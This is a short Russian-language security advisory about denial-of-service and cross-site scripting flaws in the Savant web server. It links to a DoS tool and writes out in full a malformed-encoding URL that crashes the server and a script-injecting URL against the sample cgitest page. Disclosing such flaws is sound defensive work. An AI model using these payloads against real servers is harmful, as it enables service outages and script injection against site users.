Отказ в обслуживании и межсайтовый скриптинг в Savant web server

Удаленный пользователь может создать большое количество подключений от одного хоста, чтобы аварийно завершить работу сервера. Отказ в обслуживании может быть вызван утилитой, которую можно скачать отсюда:

http://members.lycos.co.uk/r34ct/main/godzillaDosTool/

Также запрос следующего URL приведет к аварийному завершению работы сервера:

http://[target]/%-$%/'%/,%/)%//%0%%0!%/#%./%/!%20%,(%/#%/#%0!%/!%0&%//% 20%/*%/%%/)%/,%.-%/-%//%0%.txt

Также сервер содержит типовой сценарий, который не фильтрует HTML код:

http://[target]/cgitest.html?<script>wi ndow.location="/cgi-bin/cgitest.exe?|<blahblah>%00";</script>

Способов устранения обнаруженной уязвимости не существует в настоящее время.